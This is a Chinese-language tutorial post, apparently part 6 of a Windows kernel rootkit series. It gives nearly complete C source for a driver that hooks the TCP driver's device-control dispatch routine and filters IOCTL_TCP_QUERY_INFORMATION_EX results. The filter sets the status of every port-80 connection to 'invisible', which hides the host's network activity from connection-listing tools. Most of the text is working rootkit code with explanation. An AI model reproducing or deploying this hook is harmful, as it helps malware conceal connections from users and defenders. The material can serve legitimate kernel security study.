概述
驱动程序的入口很简单,仅仅设置好相应的Unload函数,并调用Hook函数。
PFILE_OBJECT pFile_tcp;PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT
DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS
ntStatus;
OldIrpMjDeviceControl = NULL;
DriverObject->DriverUnload = RootkitUnload;
ntStatus = InstallTCPDriverHook();
if(!NT_SUCCESS(ntStatus))
return ntStatus;
return STATUS_SUCCESS;
}
在Hook函数当中,首先利用系统的IoGetDeviceObjectPointer得到设备堆栈的顶层对象,这里传入的对象名称是"\Device\Tcp",也就是得到TCP的顶层对象。然后,利用设备对象获得相应的驱动的对象。并通过驱动对象得到相应的驱动调用函数,保存好DEVICE_CONTROL函数,并将我们的处理函数赋值给驱动对象中相应的处理函数。
typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT, IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;
NTSTATUS InstallTCPDriverHook()
{
NTSTATUS
ntStatus;
UNICODE_STRING deviceTCPUnicodeString;
WCHAR deviceTCPNameBuffer[]
= L"\Device\Tcp";
pFile_tcp
= NULL;
pDev_tcp
= NULL;
pDrv_tcpip = NULL;
RtlInitUnicodeString (&deviceTCPUnicodeString, deviceTCPNameBuffer);
ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString, FILE_READ_DATA, &pFile_tcp, &pDev_tcp);
if(!NT_SUCCESS(ntStatus))
return ntStatus;
pDrv_tcpip = pDev_tcp->DriverObject;
OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
if (OldIrpMjDeviceControl)
InterlockedExchange ((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL], (LONG)HookedDeviceControl);
return STATUS_SUCCESS;
}
在Hook函数当中,首先利用IoGetCurrentIrpStackLocation得到相应的IO_STACK_LOCATION,这里的irp实际上是通过以系列的系统调用传递下来的。其中IO_STACK_LOCATION在wmd.h当中定义,IO_STACK_LOCATION结构体当中包含一个联合体Parameters,这个联合体的解释是由IO_STACK_LOCATION当中的MajorFunction决定的。当MajorFunction的值是IRP_MJ_DEVICE_CONTROL的时候,parameters被解释为struct DeviceIoControl。这个结构体通过IoControlCode表明想要进行的操作,而可能通过Type3InputBuffer传递输入缓存,最开始两个数据则表明输入和输出的长度。在看函数之前,我们需要解释一下操作码IoControlCode的组成,以及内核空间和用户空间交换内存的三种方式。
整个IoControlCode有四个部分组成。最开始的16个位是设备的类型,接下来的两个位则是表示设备的访问权限而接下来的12个位则表明IoControl的功能号,最后面的两个位则是缓冲方式。
缓冲方式总共有三种:
第一种是Buffered方式,这种方式有一个复制过程,输入输出都经过相应的IRP当中的地址pIrp->AssociatedIrp.SystemBuffer缓存,由于分配的内存是费换页内存,所以不存在缺页中断的现象。
第二种方式是Direct方式,I/O管理器将创建一个MDL用于描述包含该用户模式数据缓存区的锁定内存页,这样也就不会有缺页中断。
第三种是Neither方式,这种情况下,I/O管理器简单地将虚拟地址嗯哼字节技术交给我们,其余的由我们自己决定,这种方式最高效但是安全性需要程序员自己处理。
到这里,整个函数的流程基本清晰了。首先得到输入缓存指针,并将这个指针转换为我们所需要的结构体,验证查询的方式,利用IO_STACK_LOCATION中的相应成员变量context将相应的参数传递给我们的函数处理,不过在传递之前需要设置相应的属性。同时在最后调用系统本身的的DeviceControl函数,由这个函数将控制权转入到我们的IoCompletionRoutine函数。
#define CO_TL_ENTITY
0x400
#define CL_TL_ENTITY
0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
ulong
tei_entity;
ulong
tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
TDIEntityID
toi_entity;
ulong
toi_class;
ulong
toi_type;
ulong
toi_id;
} TDIObjectID;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT, IN PIRP, IN PVOID);
struct {
ULONG OutputBufferLength;
ULONG POINTER_ALIGNMENT InputBufferLength;
ULONG POINTER_ALIGNMENT IoControlCode;
PVOID Type3InputBuffer;
} DeviceIoControl;
NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
PIO_STACK_LOCATION
irpStack;
ULONG
ioTransferType;
TDIObjectID
*inputBuffer;
DWORD
context;
irpStack = IoGetCurrentIrpStackLocation (Irp);
switch (irpStack->MajorFunction)
{
case IRP_MJ_DEVICE_CONTROL:
if ((irpStack->MinorFunction == 0) &&
(irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
{
ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
ioTransferType &= 3;
if (ioTransferType == METHOD_NEITHER)
{
inputBuffer = (TDIObjectID *) irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
if (inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY)
{
if ((inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110))
{
irpStack->Control = 0;
irpStack->Control |= SL_INVOKE_ON_SUCCESS;
irpStack->Context = (PIO_COMPLETION_ROUTINE) ExAllocatePool(NonPagedPool, sizeof(REQINFO));
((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
((PREQINFO)irpStack->Context)->ReqType
= inputBuffer->toi_id;
irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
}
}
}
}
break;
default:
break;
}
return OldIrpMjDeviceControl(DeviceObject, Irp);
}
完成函数的实现比较简单,根据IRP当中的IO_STATUS_BLOCK成员变量的相应信息,将得到的数据全部改变为不可见,这样就隐藏了我们的联网进程。由于在上面设置了IO_STACK_LOCATION的Control成员变量,这里的stackcount不会归0,所以会调用默认的的完成调用函数,从而达到过滤的效果。
typedef struct _CONNINFO101 {
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
} CONNINFO101, *PCONNINFO101;
typedef struct _CONNINFO102 {
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
} CONNINFO102, *PCONNINFO102;
typedef struct _CONNINFO110 {
unsigned long size;
unsigned long status;
unsigned long src_addr;
unsigned short src_port;
unsigned short unk1;
unsigned long dst_addr;
unsigned short dst_port;
unsigned short unk2;
unsigned long pid;
PVOID
unk3[35];
} CONNINFO110, *PCONNINFO110;
NTSTATUS IoCompletionRoutine(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PVOID OutputBuffer;
DWORD NumOutputBuffers;
PIO_COMPLETION_ROUTINE p_compRoutine;
DWORD i;
// Connection status values:
// 0 = Invisible
// 1 = CLOSED
// 2 = LISTENING
// 3 = SYN_SENT
// 4 = SYN_RECEIVED
// 5 = ESTABLISHED
// 6 = FIN_WAIT_1
// 7 = FIN_WAIT_2
// 8 = CLOSE_WAIT
// 9 = CLOSING
// ...
OutputBuffer = Irp->UserBuffer;
p_compRoutine = ((PREQINFO)Context)->OldCompletion;
if (((PREQINFO)Context)->ReqType == 0x101)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO101)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO101)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x102)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO102)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO102)OutputBuffer)[i].status = 0;
}
}
else if (((PREQINFO)Context)->ReqType == 0x110)
{
NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
for(i = 0; i < NumOutputBuffers; i++)
{
// Hide all Web connections
if (HTONS(((PCONNINFO110)OutputBuffer)[i].dst_port) == 80)
((PCONNINFO110)OutputBuffer)[i].status = 0;
}
}
ExFreePool(Context);
/*
for(i = 0; i < NumOutputBuffers; i++)
{
DbgPrint("Status: %d",OutputBuffer[i].status);
DbgPrint(" %d.%d.%d.%d:%d",OutputBuffer[i].src_addr & 0xff,OutputBuffer[i].src_addr >> 8 & 0xff, OutputBuffer[i].src_addr >> 16 & 0xff,OutputBuffer[i].src_addr >> 24,HTONS(OutputBuffer[i].src_port));
DbgPrint(" %d.%d.%d.%d:%dn",OutputBuffer[i].dst_addr & 0xff,OutputBuffer[i].dst_addr >> 8 & 0xff, OutputBuffer[i].dst_addr >> 16 & 0xff,OutputBuffer[i].dst_addr >> 24,HTONS(OutputBuffer[i].dst_port));
}*/
if ((Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL))
{
return (p_compRoutine)(DeviceObject, Irp, NULL);
}
else
{
return Irp->IoStatus.Status;
}
}
最后
以上就是平常柚子为你收集整理的RootKits——windows内核的安全防护(6)的全部内容,希望文章能够帮你解决RootKits——windows内核的安全防护(6)所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复